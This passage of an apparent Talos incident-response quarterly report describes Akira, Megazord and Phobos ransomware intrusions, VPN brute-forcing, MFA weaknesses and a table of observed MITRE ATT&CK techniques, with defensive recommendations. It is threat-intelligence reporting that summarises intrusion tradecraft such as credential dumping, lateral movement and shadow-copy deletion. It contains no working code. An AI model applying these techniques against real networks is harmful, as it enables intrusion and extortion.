Talos IR could not determine how initial access was gained, which is common because ransomware attacks often involve multi-stage attack strategies that add additional complexity during the investigation process. Once inside the network, the adversaries began collecting credentials from the memory of the Local Security Authority Subsystem Service (LSASS) and the New Technology Directory Services Directory Information Tree (NTDS.dit) database, where Active Directory data is stored, and leveraged Remote Desktop Protocol (RDP) for lateral movement. Prior to encryption, Megazord ransomware began executing several commands to disable tools and impair defenses, including “net stop” and “taskkill.” Akira\_v2 appended the file extension “.akiranew” during encryption, while Megazord ransomware appended the file extension “.powerranges”.   

First discovered in early 2023, Akira operates as a ransomware-as-a-service (RaaS) model and employs a double extortion scheme that involves exfiltrating data before encryption. Akira affiliates are known to heavily target small- to medium-sized businesses within several verticals primarily located within the U.S. but have targeted organizations within the U.K., Canada, Iceland, Australia and South Korea. Akira affiliates are notorious for leveraging compromised credentials and exploiting vulnerabilities as a means of gaining initial access, such as the SQL injection vulnerability, tracked as CVE-2021-27876, affecting certain versions of Zoho ManageEngine ADSelfService Plus, and the vulnerability, tracked as CVE-2023-27532, affecting certain versions of Veeam’s Backup & Replication (VBS) software.    

**Phobos **

Talos IR has previously observed variants of Phobos ransomware, such as “Faust,” but this quarter, Talos IR responded to an engagement with the “BackMyData” variant of Phobos ransomware. The adversaries leveraged Mimikatz to dump credentials from Active Directory. The adversary also installed several tools in the NirSoft product suite designed to recover passwords, such as PasswordFox and ChromePass, for additional credential enumeration. 

The adversaries used PsExec to access the domain controller before setting a registry key to permit remote desktop connections. Shortly after, the adversaries also modified the firewall to allow remote desktop connections using the Windows scripting utility, netsh. The remote access tool AnyDesk was downloaded to enable remote access as a means of persistence in the environment. Talos IR assessed with high confidence that Windows Secure Copy (WinSCP) and Secure Shell (SSH) were likely used to exfiltrate staged data. Adversaries also relied on PsExec to execute commands, such as deleting volume shadow copies, as a precursor to deploying the ransomware executable. After encryption, the ransomware appended the file extension “.fastbackdata”.   

A notable finding was the persistent use of the “Users/\[username\]/Music” directory as a staging area for data exfiltration to host malicious scripts, tools and malware, a common technique used by numerous ransomware affiliates to evade detection and remain persistent in the environment. Talos IR also identified a digitally signed executable, “HRSword,” developed by Beijing Huorong Network Technology. It is a tool the affiliate used during the attack for potential secure file deletion and as a defensive measure to disable endpoint protection tools, which Phobos affiliates were previously using, according to public reporting.   

Phobos ransomware first emerged in late 2018 and shared many similarities with the Crysis and Dharma ransomware families. Unlike other ransomware families, there are many variants of Phobos ransomware, such as Eking, Eight, Elbie, Devos and Faust. There is little information known about the business model leveraged by the Phobos ransomware operation. In November 2023, Cisco Talos analyzed over a thousand samples of Phobos ransomware to learn more about the affiliate structure and activity, which revealed that Phobos may operate a RaaS model due to the hundreds of contact emails and IDs associated with Phobos campaigns, indicating the malware has a dispersed affiliate base. Talos assessed with moderate confidence that the Phobos ransomware operation is actively managed by a central authority, as there is only one private key capable of decryption in all observed campaigns. 

**Other observed threats  **

Talos IR responded to an attack where adversaries were attempting to brute force several Cisco Adaptive Security Appliances (ASAs). Although the adversaries were unsuccessful in their attack, this activity is in line with the recently observed trend affecting VPN services. 

Cisco Talos has recently seen an increase in malicious activity targeting VPN services, web application authentication interfaces, and Secure Shell (SSH) globally. Since at least March 18, Cisco has observed scanning and brute force activity sourcing from The Onion Router (TOR) exit nodes and other anonymous tunnels and proxies. 

Depending on the target environment, a successful attack could result in unauthorized access to a target network, possibly leading to account lockouts and denial-of-service (DoS) conditions. The brute force attempts include a combination of generic usernames and valid usernames unique to specific organizations. The activity seems indiscriminate and has been observed across multiple industry verticals and geographic regions. 

**Initial vectors **

The most observed means of gaining initial access was the use of compromised credentials on valid accounts, accounting for 29 percent of engagements, a continuation of a trend from the previous quarter when valid accounts were also a top attack vector. 

**Security weaknesses **

For the first time, users accepting unauthorized MFA push notifications was the top observed security weakness, accounting for 25 percent of engagements this quarter. The lack of proper MFA implementation closely followed, accounting for 21 percent of engagements, a 44 percent decrease from the previous quarter. 

Users must have a clear understanding of the appropriate business response protocols when their devices are overwhelmed with an excessive volume of push notifications. Talos IR recommends organizations educate their employees about the specific channels and points of contact for reporting these incidents. Prompt and accurate reporting enables security teams to quickly identify the nature of the issue and implement the necessary measures to address the situation effectively. Organizations should also consider implementing number-matching in MFA applications to provide an additional layer of security to prevent users from accepting malicious MFA push notifications. 

Talos IR recommends implementing MFA on all critical services including all remote access and identity access management (IAM) services. MFA will be the most effective method for the prevention of remote-based compromises. It also prevents lateral movement by requiring all administrative users to provide a second form of authentication. Organizations can set up alerting for single-factor authentication to quickly identify potential gaps. 

**Top observed MITRE ATT&CK techniques **

The table below represents the MITRE ATT&CK techniques observed in this quarter’s IR engagements and includes relevant examples and the number of times seen. Given that some techniques can fall under multiple tactics, we grouped them under the most relevant tactic based on the way they were leveraged. Please note, this is not an exhaustive list. 

Key findings from the MITRE ATT&CK framework include:  

*   Remote access software, such as SplashTop and AnyDesk, were used in 17 percent of engagements this quarter, a 20 percent decrease from the previous quarter.  
*   The use of email hiding rules was the top observed defense evasion technique, accounting for 21 percent of engagements this quarter.   
*   Scheduled tasks were leveraged by adversaries the most this quarter for persistence, accounting for 17 percent of engagements this quarter, a 33 percent increase from the previous quarter.  
*   The abuse of remote services, such as RDP, SSH, SMB and WinRM, more than doubled this quarter compared to the previous quarter, accounting for nearly 60 percent of engagements. 

Reconnaissance 

Example 

T1589.001 Gather Victim Identity Information: Credentials 

Adversaries may gather credentials that can be used during their attack.  

T1598.003 Phishing for Information: Spearphishing Link 

Adversaries may send a spearphishing email with a link to a credential harvesting page to collect credentials for their attack. 

Resource Development 

Example 

T1586.002 Compromise Accounts: Email Accounts 

Adversaries may compromise email accounts that can be used during their attack for malicious activities, such as internal spearphishing. 

T1583.001 Acquire Infrastructure: Domains 

Adversaries may acquire domains that can be used for malicious activities, such as hosting malware. 

T1608.001 Stage Capabilities: Upload Malware 

Adversaries may upload malware to compromised domains to make it accessible during their attack.  

T1583.008 Acquire Infrastructure: Malvertising 

Adversaries may purchase online advertisements, such as Google ads, that can be used distribute malware to victims. 

T1608.004 Stage Capabilities: Drive-by Target 

Adversaries may prepare a website for drive-by compromise by inserting malicious JavaScript.  

Initial Access 

Example 

T1078 Valid Accounts 

Adversaries may use compromised credentials to access valid accounts during their attack. 

T1566 Phishing 

Adversaries may send phishing messages to gain access to target systems. 

T1189 Drive-by Compromise 

Victims may infect their systems with malware over browsing, providing an adversary with access.  

T1190 Exploit in Public-Facing Application 

Adversaries may exploit a vulnerability to gain access to a target system. 

T1566.002 Phishing: Spearphishing Link 

Adversaries may send phishing emails with malicious links to lure victims into installing malware.  

Execution 

Example 

T1059.001 Command and Scripting Interpreter: PowerShell 

Adversaries may abuse PowerShell to execute commands or scripts throughout their attack. 

T1059.003 Command and Scripting Interpreter: Windows Command Shell 

Adversaries may abuse Windows Command Shell to execute commands or scripts throughout their attack. 

T1569.002 System Services: Service Execution 

Adversaries may abuse Windows service control manager to execute commands or payloads during their attack. 

Persistence 

Example 

T1053.005 Scheduled Task / Job: Scheduled Task 

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for recurring execution of malware or malicious commands. 

T1574.002 Hijack Execution: DLL Side-Loading 

Adversaries may execute their own malicious code by side-loading DLL files into legitimate programs.  

Privilege Escalation 

Example 

T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control 

Adversaries may bypass UAC mechanisms to elevate their permissions on a system. 

Defense Evasion 

Example 

T1564.008 Hide Artifacts: Email Hiding Rules 

Adversaries may create inbox rules to forward certain incoming emails to a folder to hide them from the inbox owner. 

T1070.004 Indicator Removal: File Deletion 

Adversaries may delete files to cover their tracks during the attack.  

T1218.011 System Signed Binary Proxy Execution: Rundll32 

Adversaries may abuse the Windows utility rundll32.exe to execute malware.  

T1112 Modify Registry 

Adversaries may modify the registry to maintain persistence on a target system.  

T1562.010 Impair Defenses: Downgrade Attack 

Adversaries may downgrade a program, such as PowerShell, to a version that is vulnerable to exploits. 

Credential Access 

Example 

T1621 Multi-Factor Authentication Request Generation 

Adversaries may generate MFA push notifications causing an MFA exhaustion attack. 

T1003.005 OS Credential Dumping: NTDS 

Adversaries may dump the contents of the NTDS.dit file to access credentials that can be used for lateral movement. 

T1003.001 OS Credential Dumping: LSASS 

Adversaries may dump the contents of LSASS to access credentials that can be used for lateral movement 

T1003.002 OS Credential Dumping: Service Account Manager 

Adversaries may dump the contents of the service account manager to access credentials that can be used for lateral movement. 

T1110.002 Brute Force: Password Cracking 

Adversaries may use brute force account passwords to compromise accounts. 

Discovery 

Example 

T1069.001 Permission Groups Discovery: Local Groups 

Adversaries may attempt to discover local permissions groups with commands, such as “net localgroup.”  

T1069.002 Permission Groups Discovery: Domain Groups 

Adversaries may attempt to discover domain groups with commands, such as “net group /domain.” 

T1201 Password Policy Discovery 

Adversaries may attempt to discover information about the password policy within a compromised network with commands, such as “net accounts.” 

Lateral Movement 

Example 

T1021.001 Remote Services: Remote Desktop Protocol 

Adversaries may abuse valid accounts using RDP to move laterally in a target environment.  

T1534 Internal Spearphishing 

Adversaries may abuse a compromised email account to send internal spearphishing emails to move laterally. 

T1021.002 Remote Services: SMB / Windows Admin Shares 

Adversaries may abuse valid accounts using SMB to move laterally in a target environment. 

T1021.004 Remote Services: SSH 

Adversaries may abuse valid accounts using SSH to move laterally in a target environment. 

T1021.001 Remote Services: Windows Remote Management 

Adversaries may abuse valid accounts using WinRM to move laterally in a target environment. 

Collection 

Example 

T1114.002 Email Collection: Remote Email Collection 

Adversaries may target a Microsoft Exchange server to collect information.  

T1074.001 Data Staged: Local Data Staging 

Adversaries may stage collected data in preparation for exfiltration. 

T1074 Data Staged 

Adversaries may stage collected data in preparation for exfiltration. 

Command and Control 

Example 

T1105 Ingress Tool Transfer 

Adversaries may transfer tools from an external system to a compromised system. 

T1219 Remote Access Software  

Adversaries may abuse remote access software, such as AnyDesk, to establish an interactive C2 channel during their attack.  

Exfiltration 

Example 

T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage 

Adversaries may exfiltrate data to a cloud storage provider, such as Dropbox.  

Impact 

Example 

T1486 Data Encrypted for Impact 

Adversaries may use ransomware to encrypt data on a target system.  

T1490 Inhibit System Recovery 

Adversaries may disable system recovery features, such as volume shadow copies.  

T1657 Financial Theft 

Adversaries may commit financial fraud during the attack.

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